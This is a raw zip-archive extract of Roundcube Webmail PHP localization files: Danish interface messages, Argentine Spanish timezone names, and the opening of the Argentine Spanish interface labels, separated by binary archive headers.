$messages['maxgroupmembersreached'] = 'Antallet af gruppemedlemmer overstiger det tilladte maksimum på $max.';
$messages['internalerror'] = 'En intern fejl opstod. Prøv venligst igen.';
$messages['contactdelerror'] = 'Kunne ikke slette kontakt(er).';
$messages['contactdeleted'] = 'Kontakt(er) slettet.';
$messages['contactrestoreerror'] = 'Kunne ikke gendanne slettede kontakt(er).';
$messages['contactrestored'] = 'Kontakt(er) gendannet.';
$messages['groupdeleted'] = 'Gruppen blev slettet.';
$messages['grouprenamed'] = 'Gruppen blev omdøbt.';
$messages['groupcreated'] = 'Gruppen blev oprettet.';
$messages['savedsearchdeleted'] = 'Gemt søgning slettet.';
$messages['savedsearchdeleteerror'] = 'Kunne ikke slette gemt søgning.';
$messages['savedsearchcreated'] = 'Gemt søgning oprettet.';
$messages['savedsearchcreateerror'] = 'Kunne ikke oprette gemt søgning.';
$messages['messagedeleted'] = 'Besked(er) blev slettet.';
$messages['messagemoved'] = 'Besked(er) blev flyttet.';
$messages['messagemovedtotrash'] = 'Meddelelser(ne) blev flyttet til skraldespanden.';
$messages['messagecopied'] = 'Besked(er) kopieret.';
$messages['messagemarked'] = 'Besked(er) markeret.';
$messages['autocompletechars'] = 'Du skal indtaste mindst $min tegn for at benytte autoopslag.';
$messages['autocompletemore'] = 'Flere emner fundet. Indtast flere tegn.';
$messages['namecannotbeempty'] = 'Navn må ikke være tomt.';
$messages['nametoolong'] = 'Navnet er for langt.';
$messages['namedotforbidden'] = 'Mappenavnet kan ikke starte med et punktum.';
$messages['folderupdated'] = 'Mappen er opdateret.';
$messages['foldercreated'] = 'Mappen er oprettet.';
$messages['invalidimageformat'] = 'Ikke et gyldigt billedformat.';
$messages['mispellingsfound'] = 'Der er fundet stavefejl i beskeden.';
$messages['parentnotwritable'] = 'Kan ikke oprette/flytte mappe ind i valgt mappe. Ingen adgangsrettigheder.';
$messages['messagetoobig'] = 'Denne del af beskeden er for stor til at blive behandlet.';
$messages['noscriptwarning'] = 'Advarsel: Denne webmailclient kræver Javascript! For at kunne bruge den slå venligst Javascripts til i din browserindstillinger.';
$messages['messageissent'] = 'Beskeden er allerede sendt, men ikke gemt endnu. Vil du gemme den nu?';
$messages['errnotfound'] = 'Filen blev ikke fundet';
$messages['errnotfoundexplain'] = 'Den efterspurgte ressource blev ikke fundet!';
$messages['errfailedrequest'] = 'Efterspørgslen fejlede';
$messages['errauthorizationfailed'] = 'Godkendelse fejlede';
$messages['errunauthorizedexplain'] = 'Kunne ikke verificere, at du har ret til adgang til denne service!';
$messages['errcontactserveradmin'] = 'Kontakt venligst din serveradministrator.';
$messages['clicktoresumesession'] = 'Klik her for at genoptage din tidligere session';
$messages['clicktocompose'] = 'Klik her for at skrive en ny besked';
$messages['siginserted'] = 'Signaturen er indsat med succes.';
$messages['responseinserted'] = 'Svar indsat.';
$messages['noresponsesavailable'] = 'Ingen tilgængelige svar';
$messages['listempty'] = 'Mappen er tom.';
$messages['listusebutton'] = 'Brug knappen Opret til at tilføje en ny post.';
PK
h�\���M�N�N(program/localization/es_AR/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'África';
$labels['tz:africa:abidjan'] = 'Abiyán';
$labels['tz:africa:accra'] = 'Acra';
$labels['tz:africa:addis_ababa'] = 'Adís Abeba';
$labels['tz:africa:algiers'] = 'Argel';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bisáu';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Buyumbura';
$labels['tz:africa:cairo'] = 'Cairo';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakri';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es-Salam';
$labels['tz:africa:djibouti'] = 'Yibuti';
$labels['tz:africa:douala'] = 'Duala';
$labels['tz:africa:el_aaiun'] = 'El Aaiún';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburgo';
$labels['tz:africa:juba'] = 'Yuba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Jartum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinsasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadiscio';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'Yamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Uagadugú';
$labels['tz:africa:porto-novo'] = 'Porto Novo';
$labels['tz:africa:sao_tome'] = 'Santo Tomé';
$labels['tz:africa:tripoli'] = 'Trípoli';
$labels['tz:africa:tunis'] = 'Túnez';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'América';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaína';
$labels['tz:america:argentina'] = 'Argentina';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Córdoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Río Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucumán';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahía';
$labels['tz:america:bahia_banderas'] = 'Bahía de Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belém';
$labels['tz:america:belize'] = 'Belice';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogotá';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancún';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayena';
$labels['tz:america:cayman'] = 'Caimán';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiabá';
$labels['tz:america:curacao'] = 'Curazao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepé';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Nuuk';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Gran Turca';
$labels['tz:america:grenada'] = 'Granada';
$labels['tz:america:guadeloupe'] = 'Guadalupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Habana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianápolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaica';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Ángeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceió';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaos';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinica';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlán';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Mérida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Ciudad de México';
$labels['tz:america:miquelon'] = 'Miquelón';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nasáu';
$labels['tz:america:new_york'] = 'Nueva York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'Dakota del norte';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Centro';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panamá';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Puerto Príncipe';
$labels['tz:america:port_of_spain'] = 'Puerto de España';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarém';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Ittoqqortoormiit';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'San Bartolomé';
$labels['tz:america:st_johns'] = "San Juan de Terranova";
$labels['tz:america:st_kitts'] = 'Isla de San Cristóbal';
$labels['tz:america:st_lucia'] = 'Santa Lucía';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antártida';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Ártico';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Asia';
$labels['tz:asia:aden'] = 'Adén';
$labels['tz:asia:almaty'] = 'Almatý';
$labels['tz:asia:amman'] = 'Ammán';
$labels['tz:asia:anadyr'] = 'Anadir';
$labels['tz:asia:aqtau'] = 'Aktau';
$labels['tz:asia:aqtobe'] = 'Aktobe';
$labels['tz:asia:ashgabat'] = 'Asjabad';
$labels['tz:asia:atyrau'] = 'Atirau';
$labels['tz:asia:baghdad'] = 'Bagdad';
$labels['tz:asia:bahrain'] = 'Bahrein';
$labels['tz:asia:baku'] = 'Bakú';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaúl';
$labels['tz:asia:beirut'] = 'Beirut';
$labels['tz:asia:bishkek'] = 'Biskek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chitá';
$labels['tz:asia:choibalsan'] = 'Choybalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'Damasco';
$labels['tz:asia:dhaka'] = 'Daca';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubái';
$labels['tz:asia:dushanbe'] = 'Dusambé';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebrón';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Yakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jerusalén';
$labels['tz:asia:kabul'] = 'Kabul';
$labels['tz:asia:kamchatka'] = 'Kamchatka';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:kathmandu'] = 'Katmandú';
$labels['tz:asia:khandyga'] = 'Jándyga';
$labels['tz:asia:kolkata'] = 'Calcuta';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoyarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuwait';
$labels['tz:asia:macau'] = 'Macao';
$labels['tz:asia:magadan'] = 'Magadán';
$labels['tz:asia:makassar'] = 'Macasar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Mascate';
$labels['tz:asia:nicosia'] = 'Nicosia';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Nom Pen';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pyongyang';
$labels['tz:asia:qatar'] = 'Qatar';
$labels['tz:asia:qyzylorda'] = 'Kyzylorda';
$labels['tz:asia:riyadh'] = 'Riad';
$labels['tz:asia:sakhalin'] = 'Sajalín';
$labels['tz:asia:samarkand'] = 'Samarkanda';
$labels['tz:asia:seoul'] = 'Seúl';
$labels['tz:asia:shanghai'] = 'Shanghái';
$labels['tz:asia:singapore'] = 'Singapur';
$labels['tz:asia:srednekolymsk'] = 'Srednekolimsk';
$labels['tz:asia:taipei'] = 'Taipei';
$labels['tz:asia:tashkent'] = 'Taskent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Teherán';
$labels['tz:asia:thimphu'] = 'Timbu';
$labels['tz:asia:tokyo'] = 'Tokio';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulán Bator';
$labels['tz:asia:urumqi'] = 'Urumchi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientián';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Yakutsk';
$labels['tz:asia:yangon'] = 'Rangún';
$labels['tz:asia:yekaterinburg'] = 'Ekaterimburgo';
$labels['tz:asia:yerevan'] = 'Ereván';
$labels['tz:atlantic'] = 'Atlántico';
$labels['tz:atlantic:azores'] = 'Azores';
$labels['tz:atlantic:bermuda'] = 'Bermudas';
$labels['tz:atlantic:canary'] = 'Islas Canarias';
$labels['tz:atlantic:cape_verde'] = 'Cabo Verde';
$labels['tz:atlantic:faroe'] = 'Feroe';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reikiavik';
$labels['tz:atlantic:south_georgia'] = 'Georgia del Sur';
$labels['tz:atlantic:st_helena'] = 'Santa Elena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Australia';
$labels['tz:australia:adelaide'] = 'Adelaida';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Europa';
$labels['tz:europe:amsterdam'] = 'Ámsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astracán';
$labels['tz:europe:athens'] = 'Atenas';
$labels['tz:europe:belgrade'] = 'Belgrado';
$labels['tz:europe:berlin'] = 'Berlín';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Bruselas';
$labels['tz:europe:bucharest'] = 'Bucarest';
$labels['tz:europe:budapest'] = 'Budapest';
$labels['tz:europe:busingen'] = 'Büsingen';
$labels['tz:europe:chisinau'] = 'Chisináu';
$labels['tz:europe:copenhagen'] = 'Copenhague';
$labels['tz:europe:dublin'] = 'Dublín';
$labels['tz:europe:gibraltar'] = 'Gibraltar Español';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Isla de Man';
$labels['tz:europe:istanbul'] = 'Estambul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrado';
$labels['tz:europe:kiev'] = 'Kiev';
$labels['tz:europe:kirov'] = 'Kírov';
$labels['tz:europe:lisbon'] = 'Lisboa';
$labels['tz:europe:ljubljana'] = 'Liubliana';
$labels['tz:europe:london'] = 'Londres';
$labels['tz:europe:luxembourg'] = 'Luxemburgo';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Mónaco';
$labels['tz:europe:moscow'] = 'Moscú';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'París';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Praga';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Roma';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Sarátov';
$labels['tz:europe:simferopol'] = 'Simferópol';
$labels['tz:europe:skopje'] = 'Skopie';
$labels['tz:europe:sofia'] = 'Sofía';
$labels['tz:europe:stockholm'] = 'Estocolmo';
$labels['tz:europe:tallinn'] = 'Tallin';
$labels['tz:europe:tirane'] = 'Tirana';
$labels['tz:europe:ulyanovsk'] = 'Uliánovsk';
$labels['tz:europe:uzhgorod'] = 'Úzhgorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Ciudad del Vaticano';
$labels['tz:europe:vienna'] = 'Viena';
$labels['tz:europe:vilnius'] = 'Vilna';
$labels['tz:europe:volgograd'] = 'Volgogrado';
$labels['tz:europe:warsaw'] = 'Varsovia';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporiyia';
$labels['tz:europe:zurich'] = 'Zúrich';
$labels['tz:indian'] = 'Indian';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Navidad';
$labels['tz:indian:cocos'] = 'Cocos';
$labels['tz:indian:comoro'] = 'Comoras';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahé';
$labels['tz:indian:maldives'] = 'Maldivas';
$labels['tz:indian:mauritius'] = 'Mauricio';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Reunión';
$labels['tz:pacific'] = 'Pacífico';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Pascua';
$labels['tz:pacific:efate'] = 'Éfaté';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fiyi';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galápagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulú';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Numea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palaos';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Puerto Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipán';
$labels['tz:pacific:tahiti'] = 'Tahití';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\^�������%program/localization/es_AR/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Bienvenido a $product';
$labels['username'] = 'Nombre de usuario';
$labels['password'] = 'Contraseña';
$labels['server'] = 'Servidor';
$labels['login'] = 'Entrar';
$labels['oauthlogin'] = 'Iniciar sesión con $provider';
$labels['menu'] = 'Menu';
$labels['logout'] = 'Cerrar sesión';
$labels['mail'] = 'Correo';
$labels['settings'] = 'Configuración';
$labels['addressbook'] = 'Contactos';
$labels['darkmode'] = 'Modo oscuro';
$labels['lightmode'] = 'Modo claro';
$labels['inbox'] = 'Entrada';
$labels['drafts'] = 'Borradores';
$labels['sent'] = 'Enviados';
$labels['trash'] = 'Papelera';
$labels['junk'] = 'Basura';
$labels['show_real_foldernames'] = 'Mostrar nombres reales para carpetas especiales';
$labels['subject'] = 'Asunto';
$labels['from'] = 'Remitente';
$labels['sender'] = 'Remitente';
$labels['to'] = 'Destinatario';
$labels['cc'] = 'Copia';
$labels['bcc'] = 'Cco';
$labels['replyto'] = 'Responder a';
$labels['followupto'] = 'Seguimiento-a';
$labels['date'] = 'Fecha';
$labels['size'] = 'Tamaño';
$labels['priority'] = 'Prioridad';
$labels['organization'] = 'Organización';
$labels['readstatus'] = 'Leer estado';
$labels['listoptions'] = 'Listar opciones...';
$labels['listoptionstitle'] = 'Listar opciones';
$labels['mailboxlist'] = 'Carpetas';
$labels['messagesfromto'] = 'Mensajes $from a $to de $count';
$labels['threadsfromto'] = '$from a $to de $count conversaciones';
$labels['messagenrof'] = 'Mensaje $nr de $count';
$labels['fromtoshort'] = '$from – $to de $count';
$labels['copy'] = 'Copiar';
$labels['move'] = 'Mover';
$labels['moveto'] = 'Mover a...';
$labels['copyto'] = 'Copiar a...';
$labels['download'] = 'Descargar';
$labels['open'] = 'Abrir';
$labels['showattachment'] = 'Mostrar';
$labels['showanyway'] = 'Mostrar esto siempre';
$labels['filename'] = 'Nombre del archivo';
$labels['filesize'] = 'Tamaño del archivo';
$labels['addtoaddressbook'] = 'Agregar a contactos';
$labels['sun'] = 'Dom';
$labels['mon'] = 'Lun';
$labels['tue'] = 'Mar';
$labels['wed'] = 'Mié';
$labels['thu'] = 'Jue';
$labels['fri'] = 'Vie';
$labels['sat'] = 'Sáb';
$labels['sunday'] = 'Domingo';
$labels['monday'] = 'Lunes';
$labels['tuesday'] = 'Martes';
$labels['wednesday'] = 'Miércoles';
$labels['thursday'] = 'Jueves';
$labels['friday'] = 'Viernes';
$labels['saturday'] = 'Sábado';
$labels['jan'] = 'Ene';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Abr';
$labels['may'] = 'May';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Ago';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Oct';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dic';
$labels['longjan'] = 'Enero';
$labels['longfeb'] = 'Febrero';
$labels['longmar'] = 'Marzo';
$labels['longapr'] = 'Abril';
$labels['longmay'] = 'Mayo';
$labels['longjun'] = 'Junio';
$labels['longjul'] = 'Julio';
$labels['longaug'] = 'Agosto';
$labels['longsep'] = 'Septiembre';
$labels['longoct'] = 'Octubre';
$labels['longnov'] = 'Noviembre';
$labels['longdec'] = 'Diciembre';
$labels['today'] = 'Hoy';
$labels['refresh'] = 'Actualizar';
